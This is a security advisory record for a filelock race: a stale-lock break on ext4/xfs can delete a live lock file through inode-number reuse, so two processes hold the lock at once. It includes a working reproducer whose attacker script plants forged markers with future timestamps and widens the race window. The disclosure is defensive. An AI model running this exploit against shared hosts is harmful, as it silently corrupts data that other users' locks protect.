{"id":"CVE-2026-112935","aliases":["GHSA-fq56-3cx3-fjxp"],"url":"https://o3.security/vulnerability/CVE-2026-112935","summary":"filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders","details":"The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the \"not implemented\" error) recognises the marker it judged stale by two values. The marker is the lock file at `<path>`, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.\n\nOn a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion.\n- The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.\n- The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later).\n- The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected.\n- The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict.\n\n## Introduced\n\ne35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.\n\n## Mechanism\n\n`_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`:\n\n```python\n# src/filelock/_util.py:113-118\nif (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:\n    return\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\n```\n\nBetween the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so (\"Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet\"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:\n\n1. The other user creates `app.lock` (inode `I`) with the record `<its own pid>\\n<host>\\n1\\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`).\n2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`.\n3. The other user unlinks its marker. Inode `I` is free.\n4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock.\n5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.\n6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.\n\nWhen B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.\n\nThe other user does not need luck for the timing of step 3. It sees A's `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc/<pid>/stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.\n\nA forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes `>` / `<=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc/<pid>/stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.\n\n`MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = f\"{LOCK_DIR}/app.lock\"\nVICTIM_JOBS = 6\nRUN_SECONDS = 20\nJAN_1_2000 = 946684800\nJAN_1_2100 = 4102444800\n\n\ndef run_victim_jobs_beside_attacker(stale_marker_mtime):\n    # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n\n    # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side\n    attacker = subprocess.Popen(\n        [sys.executable, \"/tmp/repro.d/plant_stale_markers.py\", LOCK_PATH, str(stale_marker_mtime)],\n        stdout=subprocess.PIPE,\n        text=True,\n        user=\"attacker\",\n        group=\"attacker\",\n        extra_groups=[],\n    )\n    try:\n        assert attacker.stdout.readline() == \"ready\\n\"\n        jobs = [\n            subprocess.Popen(\n                [sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH, str(RUN_SECONDS)],\n                stdout=subprocess.PIPE,\n                text=True,\n                user=\"victim\",\n                group=\"victim\",\n                extra_groups=[],\n            )\n            for _ in range(VICTIM_JOBS)\n        ]\n        holds = []\n        for number, job in enumerate(jobs):\n            output, _ = job.communicate(timeout=RUN_SECONDS + 60)\n            assert job.returncode == 0  # no Timeout or other exception reached the victim's code\n            for line in output.splitlines():\n                entered, left, is_locked = line.split()\n                assert is_locked == \"True\"  # the job believed it held the lock\n                holds.append((float(entered), float(left), f\"job{number}\"))\n    finally:\n        attacker.kill()\n        attacker.wait()\n    break_files = [name for name in os.listdir(LOCK_DIR) if \".break.\" in name]\n    return sorted(holds), break_files\n\n\ndef overlapping_holds(holds):\n    # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly\n    return [\n        (first, second)\n        for index, first in enumerate(holds)\n        for second in holds[index + 1 :]\n        if second[0] < first[1]  # sorted by entry: the second entered before the first had left\n    ]\n\n\ncontrol_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)\ncontrol_overlaps = overlapping_holds(control_holds)\nprint(f\"CONTROL  attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(control_overlaps)} times\")\n\nattack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)\nattack_overlaps = overlapping_holds(attack_holds)\nprint(f\"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(attack_overlaps)} times\")\nfor (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:\n    print(f\"    {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}\")\n# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*\nprint(f\"  stale-break files left in {LOCK_DIR}: {break_files}\")\n\n# check: an exclusive lock with default options must never have two holders at once\nprint(\"BUG\" if not control_overlaps and attack_overlaps else \"OK\")\n```\n\n**`repro.d/plant_stale_markers.py`**\n\n```python\n#!/usr/bin/env python3\nimport ctypes\nimport os\nimport sys\nimport threading\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, marker_mtime = sys.argv[1], int(sys.argv[2])\nIN_CLOSE_NOWRITE = 0x10\nlibc = ctypes.CDLL(None)\n\n# contenders only judge markers written on their own host, so take the host string from a marker of our own\nwith SoftFileLock(lock_path):\n    with open(lock_path) as own_marker:\n        host = own_marker.read().splitlines()[1]\n\n# <pid>\\n<host>\\n<start token>\\n: this PID is alive but its start token is not 1, so it reads as a recycled PID\n# and every contender judges the marker stale\nstale_marker = f\"{os.getpid()}\\n{host}\\n1\\n\".encode()\n\n# To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process:\n# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.\nthreading.stack_size(64 * 1024)\nfor _ in range(8000):\n    threading.Thread(target=threading.Event().wait, daemon=True).start()\nprint(\"ready\", flush=True)\n\nwhile True:\n    # plant the stale marker whenever the lock path is free\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    except FileExistsError:\n        time.sleep(0.0002)\n        continue\n    os.write(fd, stale_marker)\n    os.utime(fd, (marker_mtime, marker_mtime))  # a file's owner may give it any modification time\n    os.close(fd)\n\n    # once a contender has read it, unlink it: its inode number is free again for the next holder's marker\n    inotify = libc.inotify_init()\n    libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)\n    os.read(inotify, 4096)\n    os.unlink(lock_path)\n    os.close(inotify)\n\n    # creating anything before the next holder does would take that inode number away from it\n    while not os.path.lexists(lock_path):\n        time.sleep(0.0002)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport random\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, run_seconds = sys.argv[1], float(sys.argv[2])\n\nlock = SoftFileLock(lock_path)\nstop_at = time.monotonic() + run_seconds\nwhile time.monotonic() < stop_at:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(random.uniform(0.05, 0.15))  # the work the lock protects\n        print(entered, time.monotonic(), lock.is_locked, flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant P as app.lock (root-owned 1777 dir, ext4)\n    participant A as process A of the lock user (uid 1000)\n    participant B as process B of the lock user (uid 1000)\n    X->>P: create \"livepid host 1\", utime to 2100 (inode I)\n    A->>P: open, fstat (ino I, mtime 2100), read, close\n    A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)\n    rect rgb(255, 214, 214)\n        X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free\n        B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters\n        A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*\n        A->>P: lstat break name: same, unlink B's live marker\n        A->>P: next poll 50 ms later: O_EXCL create, A enters beside B\n        Note over A,B: B's release finds another inode, leaves it, no error on either side\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock(\"/tmp/shared-locks/app.lock\"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`.\n\nAn `strace` of a landed round shows A's `close(4</tmp/app.lock>(deleted))`, B's `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A's `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B's `write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...)` and A's own create 53 ms later.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.\n\n## Impact\n\nA local user who can create files in the lock's directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == \"owner-changed\"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and `None` after 13 s when the second holder had already released.\n\nIt is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created","published":"2026-10-20T14:32:25.740Z","modified":"2026-10-29T02:31:01.465748912Z","cvss":{"score":4.7,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"filelock","fixedVersion":"4.2.1"}],"fix":{"url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b","label":"tox-dev/filelock@740ff66"},"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112935.json"},{"type":"ADVISORY","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-fq56-3cx3-fjxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112935"},{"type":"FIX","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"FIX","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-29T02:31:01.465748912Z"}}